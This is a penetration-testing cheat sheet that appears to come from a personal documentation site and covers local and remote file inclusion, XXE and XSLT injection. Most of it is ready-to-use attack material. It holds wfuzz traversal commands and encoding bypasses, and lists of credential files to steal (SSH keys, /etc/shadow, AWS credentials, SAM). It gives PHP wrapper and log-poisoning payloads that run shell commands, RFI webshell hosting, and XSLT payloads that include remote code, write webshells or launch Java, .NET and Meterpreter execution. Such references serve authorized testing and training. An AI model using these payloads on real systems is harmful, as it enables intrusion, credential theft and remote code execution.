> For the complete documentation index, see [llms.txt](https://docs.h4rithd.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.h4rithd.com/owasp-10/lfi-xxe.md).

# LFI / XXE/XSLT

## 01. Local File Inclusion (LFI)

### 01.1 Linux

* Click [here ](https://raw.githubusercontent.com/carlospolop/Auto_Wordlists/main/wordlists/file_inclusion_linux.txt)for wordlist

```bash
## ------------------| Linux
wfuzz -u http://<URL>/index.php?page=../../../..FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt --hl 367                       
wfuzz -u http://<URL>/index.php?page=../../../..FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt --hl 367                       

wget https://raw.githubusercontent.com/foospidy/payloads/master/other/traversal/dotdotpwn.txt
wfuzz -u http://<URL>/index.php?page=../../../..FUZZ -w dotdotpwn.txt --hl 367                       

## ------------------| Windows
wfuzz -u http://<URL>/index.php?page=../../../..FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt --hl 367 

wget https://raw.githubusercontent.com/carlospolop/Auto_Wordlists/main/wordlists/file_inclusion_windows.txt
wfuzz -u http://<URL>/index.php?page=../../../..FUZZ -w file_inclusion_windows.txt
```

* Useful LFI files

```bash
../../../etc/passwd
../../../../../../../../../../../../etc/passwd

/etc/passwd
/etc/shadow
/etc/issue
/etc/group
/etc/hostname
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/root/.bash_history
/root/.ssh/id_rsa
/root/.ssh/authorized_keys
/home/user/.bash_history
/home/user/.ssh/authorized_keys
/home/user/.ssh/id_rsa
/var/www/html/.env
/proc/self/environ
/proc/self/cmdline
/proc/net/tcp
/proc/sched_debug
/etc/apache2/sites-available/000-default.conf
/home/ecs-user/.aws/credentials
```

* [Bypass tricks](https://raw.githubusercontent.com/foospidy/payloads/master/other/traversal/dotdotpwn.txt)

```bash
../index.php
../../index.php
%2e%2e%2findex.php
%252e%252e%252findex.php
../../../../etc/passwd
/var/www/../../etc/passwd
../../../../../etc/passwd%00
....//....//....//etc/passwd
....\/....\/....\/etc/passwd
....//....//etc/passwd
%252e%252e%252fetc%252fpasswd
%252e%252e%252fetc%252fpasswd%00
..///////..////..//////etc/passwd
..%252f..%252f..%252fetc%252fpasswd
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
```

* Configuration Files

```bash
## ------------------| AWS
~/.aws/config 
/root/.aws/credentials
/home/ecs-user/.aws/config
/home/ecs-user/.aws/credentials
/home/<user>/.aws/credentials

## ------------------| Apache
/etc/apache2/apache2.conf
/usr/local/etc/apache2/httpd.conf
/etc/apache2/sites-enabled/<hostname>.conf
/etc/apache2/sites-enabled/<subdomain-name>.conf
/etc/apache2/sites-enabled/000-default.conf
/etc/apache2/sites-available/000-default.conf
/etc/httpd/conf/httpd.conf
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log

## ------------------| nginx
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
/etc/nginx/sites-available/default
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf
/usr/local/etc/nginx/nginx.conf
/etc/nginx/proxy_params

## ------------------| MySql
/var/lib/mysql/mysql/user.frm
/var/lib/mysql/mysql/user.MYD
/var/lib/mysql/mysql/user.MYI

## ------------------| Tomcat
/usr/share/tomcat9/bin/catalina.sh
/usr/share/tomcat9/etc/tomcat-users.xml
/var/lib/tomcat9/conf/tomcat-users.xml
/var/lib/tomcat9/conf/server.xml
/var/lib/tomcat9/conf/web.xml
/var/lib/tomcat9/conf/

## ------------------| Microsoft IIS (ASP .NET)
/web.config
../web.config
..././web.config 

## ------------------| Spring Boot 
application.properties
application.yml
config/application.properties
config/application.yml
src/main/java/main.java
pom.xml
static/index.html
mvnw
mvnw.cmd

## ------------------| Ruby on Rails
/Rakefile
/config/routes.rb
/config/database.yml
/config/application.rb
/storage/development.sqlite3
/config/environments/test.rb
/config/environments/production.rb
/config/environments/development.rb

## ------------------| Laravel
/var/www/html/.env
/var/www/html/index.php
/var/www/html/config/api_setting.php
/var/www/html/storage/logs/laravel.log
/var/www/html/app/Admin/routes.php

## ------------------| Flask 
app.py
/app/app.py
config.py
/app/config.py
models.py
forms.py
utils.py
templates/index.html
static/script.js
requirements.txt

## ------------------| Webroot locations
/var/www/html/            # Apache	
/usr/local/nginx/html/    # Nginx	
c:\inetpub\wwwroot\       # IIS	
C:\xampp\htdocs\          # XAMPP
C:\wamp\www\              # WAMP
```

* Log Files

```bash
## ------------------| Generic:
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache2/access.log
/var/log/apache/error.log

## ------------------| Red Hat/CentOS/Fedora Linux   
/var/log/httpd/access_log

## ------------------| Debian/Ubuntu   
/var/log/apache2/access.log

## ------------------| FreeBSD   
/var/log/httpd-access.log

## ------------------| XAMPP
/xampp/apache/logs/access.log
/xampp/apache/logs/error.log
```

* Download running binary file.

<pre class="language-bash"><code class="lang-bash">## ------------------| Identify runnable tasks and copy the PID 
<strong>/proc/sched_debug
</strong>/proc/self/cmdline

## ------------------| Get the location for runnable process and download the file
<strong>/proc/&#x3C;PID>/cmdline
</strong><strong>
</strong>## ------------------| Get linked libs
/proc/&#x3C;PID>/maps

## ------------------| Get running process
/proc/sched_debug
</code></pre>

### 01.2 Windows

```bash
## ------------------| SMB?
sudo responder -I tun0 
//<IP>/hello/world
\\<IP>\hello\world
```

* Click [here ](https://raw.githubusercontent.com/carlospolop/Auto_Wordlists/main/wordlists/file_inclusion_windows.txt)for wordlist
* File Paths

```bash
wget https://raw.githubusercontent.com/carlospolop/Auto_Wordlists/main/wordlists/file_inclusion_windows.txt

..././Windows/win.ini
/Windows/win.ini
/windows/system32/license.rtf
/Windows/System32/drivers/etc/hosts
/Windows/debug/NetSetup.log
/Users/Administrator/NTUser.dat
/Documents and Settings/Administrator/NTUser.dat
/apache/logs/access.log
/apache/logs/error.log
/apache/php/php.ini
/boot.ini
/inetpub/wwwroot/global.asa
/MySQL/data/hostname.err
/MySQL/data/mysql.err
/MySQL/data/mysql.log
/MySQL/my.cnf
/MySQL/my.ini
/php4/php.ini
/php5/php.ini
/php/php.ini
/Program Files/Apache Group/Apache2/conf/httpd.conf
/Program Files/Apache Group/Apache/conf/httpd.conf
/Program Files/Apache Group/Apache/logs/access.log
/Program Files/Apache Group/Apache/logs/error.log
/Program Files/FileZilla Server/FileZilla Server.xml
/Program Files/MySQL/data/hostname.err
/Program Files/MySQL/data/mysql-bin.log
/Program Files/MySQL/data/mysql.err
/Program Files/MySQL/data/mysql.log
/Program Files/MySQL/my.ini
/Program Files/MySQL/my.cnf
/Program Files/MySQL/MySQL Server 5.0/data/hostname.err
/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log
/Program Files/MySQL/MySQL Server 5.0/data/mysql.err
/Program Files/MySQL/MySQL Server 5.0/data/mysql.log
/Program Files/MySQL/MySQL Server 5.0/my.cnf
/Program Files/MySQL/MySQL Server 5.0/my.ini
/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf
/Program Files (x86)/Apache Group/Apache/conf/httpd.conf
/Program Files (x86)/Apache Group/Apache/conf/access.log
/Program Files (x86)/Apache Group/Apache/conf/error.log
/Program Files (x86)/FileZilla Server/FileZilla Server.xml
/Program Files (x86)/xampp/apache/conf/httpd.conf
/WINDOWS/php.ini /WINDOWS/Repair/SAM
/Windows/repair/system /Windows/repair/software
/Windows/repair/security
/WINDOWS/System32/drivers/etc/hosts
/WINNT/php.ini
/WINNT/win.ini
/xampp/password
/xampp/tomcat/conf/tomcat-users.xml
/xampp/htdocs/index.php
/xampp/apache/conf/httpd.conf
/xampp/apache/bin/php.ini
/xampp/phpMyAdmin/config.inc.php
/xampp/apache/logs/access.log
/xampp/apache/logs/error.log
/Windows/Panther/Unattend/Unattended.xml
/Windows/Panther/Unattended.xml
/Windows/system32/config/AppEvent.Evt
/Windows/system32/config/SecEvent.Evt
/Windows/system32/config/default.sav
/Windows/system32/config/security.sav
/Windows/system32/config/software.sav
/Windows/system32/config/system.sav
/Windows/system32/config/regback/default
/Windows/system32/config/regback/sam
/Windows/system32/config/regback/security
/Windows/system32/config/regback/system
/Windows/system32/config/regback/software
/Program Files/MySQL/MySQL Server 5.1/my.ini
/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml
/Windows/System32/inetsrv/config/applicationHost.config
/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].log
```

### 01.3 Wrappers & Filters

```bash
## ------------------| Basic
?page=data:text/plain,h4rithd
?page=data:text/plain,<?php system($_GET['cmd']); ?>
?page=data:text/plain,<?php echo shell_exec("whoami"); ?>

## ------------------| Base64 and rot13
?page=php://filter/read=string.rot13/resource=index.php
?page=php://filter/convert.base64-encode/resource=index.php
?page=pHp://FilTer/convert.base64-encode/resource=index.php

## ------------------| zip://
# echo "<pre><?php system(\$_GET['cmd']); ?></pre>" > payload.php  
# zip payload.zip payload.php
?page=zip://shell.zip/payload.php&cmd=whoami
?page=phar://shell.zip/payload.php&cmd=whoami
?page=zip://shell.zip%23payload.php&cmd=whoami
### you can rename it to jpg file as well, 
# mv payload.zip shell.jpg
?page=zip://shell.jpg/payload.php&cmd=whoami
?page=phar://shell.jpg/payload.php&cmd=whoami
?page=zip://shell.jpg%23payload.php&cmd=whoami

## ------------------| zlib 
?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
## To read 
# php -a #Starts a php console
# readfile('php://filter/zlib.inflate/resource=test.deflated');

## ------------------| data://
?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
?page=data://text/plain,<?php phpinfo(); ?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
# NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

## ------------------| expect://
?page=expect://id
?page=expect://ls

## ------------------| input://
?page=php://input
# POST DATA: <?php system('id'); ?>
```

### 01.4 LFI to RCEs

`include=('$file')`

* PHP Gadgets (New🔥)

```bash
## ------------------| 
wget https://raw.githubusercontent.com/synacktiv/php_filter_chain_generator/main/php_filter_chain_generator.py
python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?>'
```

* Log Poisoning

```bash
## ------------------| Basic Payload
<?php phpinfo(); ?>
<?php system($_REQUEST['cmd']); ?>
<?php echo '<pre>' . shell_exec($_REQUEST['cmd']) . '</pre>'; ?>

## ------------------| Send for apache
nc <IP> 80
...enter..payload..here!...

## Your session/auth cookies or any type of session information store on
## ------------------| Linux 
/tmp/sess_
/var/tmp/sess_
/var/lib/php/sessions/sess_
/proc/self/environ/ ## <-- use for User-Agent: <?=phpinfo(); ?>
/var/log/auth.log ## <-- use ssh '<?php system($_REQUEST['cmd']); ?>'@IP        
/var/log/vsftpd.log ## <-- use above payload as username with ftp  
var/log/apache2/access.log ## <-- use it from nc(BEST WAY!!) or use it as http://IP/<?php phpinfo(); ?>
 
## ------------------| Windows
\Windows\TEMP\sess_<session_id> 
c:\xampp\apache\logs\access.log&cmd=ipconfig 
```

### 01.5 Tricks

* phpinfo() (file\_uploads = on)

```bash
# Download this script
https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py
```

{% embed url="<https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s>" %}

### 01.6 LFI with python

* Click [`here`](https://docs.h4rithd.com/languages/python#02.-lfi-with-python)!

## 02. Remote File Inclusion

`allow_url_include`

```bash
nc -lvnp 80

## ------------------| Create payload file (php/txt)
<?php phpinfo(); ?>
<?php system($_REQUEST['cmd']); ?>
<?php echo '<pre>' . shell_exec($_REQUEST['cmd']) . '</pre>'; ?>

## ------------------| Execute
### move file to /var/www/html and start apache sever
### execute
=http://<IP>/file.txt
```

## 03. XML external entity (XXE) injection

* Common payloads

```bash
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
    <productId>
        &xxe;
    </productId>
</stockCheck>
```

* Filters

```bash
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php"> ]>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/hosts.php">  
```

## [04. XSLT Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSLT%20Injection/README.md)

```bash
## ------------------| Read Files
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    <xsl:copy-of select="document('http://172.16.132.1:25')"/>
    <xsl:copy-of select="document('/etc/passwd')"/>
    <xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
    Fruits:
     <!-- Loop for each fruit -->
    <xsl:for-each select="fruit">
      <!-- Print name: description -->
      - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
    </xsl:for-each>
  </xsl:template>
</xsl:stylesheet>

## ------------------| Write Files
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common" 
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="evil.txt" method="text">
      Hello World!
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

## ------------------| Remote Code Execution with PHP Wrapper
#### readfile
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<xsl:value-of select="php:function('readfile','index.php')" />
</body>
</html>
#### scandir
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
  <xsl:template match="/">
    <xsl:value-of name="assert" select="php:function('scandir', '.')"/>
  </xsl:template>
</xsl:stylesheet>
#### assert
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
  <xsl:variable name="payload">
    include("http://10.10.10.10/test.php")
  </xsl:variable>
  <xsl:variable name="include" select="php:function('assert',$payload)"/>
</body>
</html>
#### PHP meterpreter
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
  <xsl:template match="/">
    <xsl:variable name="eval">
      eval(base64_decode('Base64-encoded Meterpreter code'))
    </xsl:variable>
    <xsl:variable name="preg" select="php:function('preg_replace', '/.*/e', $eval, '')"/>
  </xsl:template>
</xsl:stylesheet>
#### remote php file
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
  <xsl:template match="/">
    <xsl:value-of select="php:function('file_put_contents','/var/www/webshell.php','&lt;?php echo system($_GET[&quot;command&quot;]); ?&gt;')" />
  </xsl:template>
</xsl:stylesheet>

## ------------------| Remote Code Execution with Java
  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
    <xsl:template match="/">
      <xsl:variable name="rtobject" select="rt:getRuntime()"/>
      <xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>
      <xsl:variable name="processString" select="ob:toString($process)"/>
      <xsl:value-of select="$processString"/>
    </xsl:template>
  </xsl:stylesheet>

## ------------------| Remote Code Execution with Native .NET
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App">
    <msxsl:script implements-prefix="App" language="C#">
      <![CDATA[
        public string ToShortDateString(string date)
          {
              System.Diagnostics.Process.Start("cmd.exe");
              return "01/01/2001";
          }
      ]]>
    </msxsl:script>
    <xsl:template match="ArrayOfTest">
      <TABLE>
        <xsl:for-each select="Test">
          <TR>
          <TD>
            <xsl:value-of select="App:ToShortDateString(TestDate)" />
          </TD>
          </TR>
        </xsl:for-each>
      </TABLE>
    </xsl:template>
</xsl:stylesheet>
```